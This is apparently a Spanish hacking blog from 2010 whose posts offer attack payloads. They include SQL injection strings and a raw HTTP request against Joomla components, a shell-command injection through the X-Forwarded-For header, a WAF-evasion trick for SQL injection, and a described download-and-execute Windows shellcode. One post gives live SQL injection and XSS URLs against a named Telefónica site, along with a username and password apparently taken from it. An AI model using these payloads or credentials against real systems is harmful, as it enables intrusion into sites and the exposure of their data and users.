Personal information:

A Coruña, Galicia, Spain

miércoles, 23 de junio de 2010

winXP (32bits) SP3 URLDownloadToFileA + CreateProcessA + ExitProcess ASM Code - 176 bytes

Buenas a todos.
Este es un posible código fuente, más bien del montón, para un shellcode que descarga un fichero desde un host remoto, lo ejecuta y sale del proceso.

El código calcula la longitudd el nombre del archivo, para mas tarde sumarsela como desplazamiento a un CALL para corregir la distancia a la que se encuentra, que varía con la longitud del nombre del archivo que queremos descargar.
Mas tarde consigue los desplazamientos de memoria en los que esta situada la URL y el nombre del archivo a descargar, los almacena , procede a llamar a las APIs que se encargan de todo.
Aquí lo tenéis (UPDATED: EXPLOIT-DB aquí), para masm32, seguramente pueda reducirse bastante su tamaño:



Si observáis los opcodes habrá multitud de bytes nulos jeje así que recomiendo encodear la shellcode antes de usarla, y acoplarle alguna rutina de descifrado que se ejecute antes que la shellcode, claro...

-H4ppyH4ck1n9-

sábado, 5 de junio de 2010

Joomla Component com_searchlog SQL Injection

Vulnerabilidad en com_searchlog, pronto en exploit-db. Un adelanto del post ;) :
(ACTUALIZADO: post aqui)
http://VICTIM/administrator/index.php?option=com_searchlog&act=log

POST /administrator/index.php?option=com_searchlog&act=log HTTP/1.1
Host: VICTIM
Content-Type: application/x-www-form-urlencoded
Content-Length: xxx
search=[SQLi]
&sort=calls&limit=20&limitstart=0&option=com_searchlog&act=log&task=&callbase=1&boxchecked=1&hidemainmenu=0

Where [SQLi] = someLogExisting') and 1=1# => true
someLogExisting') and 1=2# => false

UNION SQLi = someLogExisting') union select 1,2,3,4,5,6,7,8#

-H4ppyH4ck1n9-

viernes, 4 de junio de 2010

Joomla Component com_djartgallery Multiple Vulnerabilities

Buenas noches, este componente contiene un XSS en la administracion, y ademas tambien puede ser explotado con Blind SQL Injection, aquí teneis el link.

-H4ppyH4ck1n9-

jueves, 3 de junio de 2010

Joomla Component com_jsjobs SQL Injection Vulnerability

SQL Injection debido a la ausencia de saneado de la variable 'cid', aqui teneis el post.

-H4ppyH4ck1n9-

domingo, 16 de mayo de 2010

be secure, my friend...

Supongo que todos conocémos Timofónica no?:

[sqli] http://pulso.telefonica.es/articulo.php?id=-70%27/*!UNION%0bSELECT%0b1,2,3,4,5,6,@@version,8,9,10,11,12,13,14,15*//*&id_submenu=11

[xss] http://pulso.telefonica.es/resultado_busqueda.php?busca=%27%3E%3Cscript%3Ealert%28%22XSS%20by%20r0i%22%29;%3C/script%3E%3C

ahora podremos conocerla mejor >:)~...

user: sample
password: FF6ECAE8

-H4ppyH4ck1n9-

sábado, 1 de mayo de 2010

mod_VisitorData 1.1 Joomla! Remote Code Execution

Gracias a mi colega CH1P D3 BIOS, que descubrió una vulnerabilidad en el código del módulo mod_VisitorData, fuimos capaces de explotar el fallo en la programación de este, el cual puede ser calificado de Remote Code Execution (RCE).

La vulnerabilidad la podréis ver en el siguiente fragmento de código:



Este condicional IF comprueba si X-Forwarded-For aparece en la cabecera HTTP.
De ser así, obtendría nuestra IP de el contenido de esta variable del servidor, y no de REMOTE_ADDR, como suele suceder.
Entonces,si insertamos la cabecera X-Forwarder-For, tomará su contenido como el valor de nuestra IP, sin ningún tipo de filtrado de carácteres ni ná, y ejecutará el siguiente comando:

$whois ="whois " . $_SERVER['HTTP_X_FORWARDED_FOR'] ." | grep netname";

Jugando con la terminal, se puede comprobar que puede ser bypasseado, y manipulado para que cumpla nuestros deseos :D:

X-Forwarded-For:;[command-here];1

Por ejemplo, lo que daria lugar a:

~$whois ; [command-here];1|grep netname

Provocando un par de errores, pero ejecutando nuestro comando.

Gracias a Chip D3 Bios por su descubrimiento!!

-H4ppyH4ck1n9-

Otra finta mas :)~

Seguro que ya muchos conoceis el uso de los paréntesis en las consultas MySQL para evitar los espacios entre palabras (ej: (1)and(1) ).
Pues resulta que el motor de base de datos MySQL interpreta el caracter "%0b" como un perfecto sustituto de los espacios en blanco, permitiéndonos realizar consultas inyectadas más directamente :D :

vuln.php?foo=99%0band%0b1=1--

mucho mas sencillo, y con una funcionalidad mayor, que:

vuln.php?foo=(-99999)and(1=1)--

Claro, esta es otra forma con la que podemos evitar los WAF's, así que ya sabeis..

-H4ppyH4ck1n9-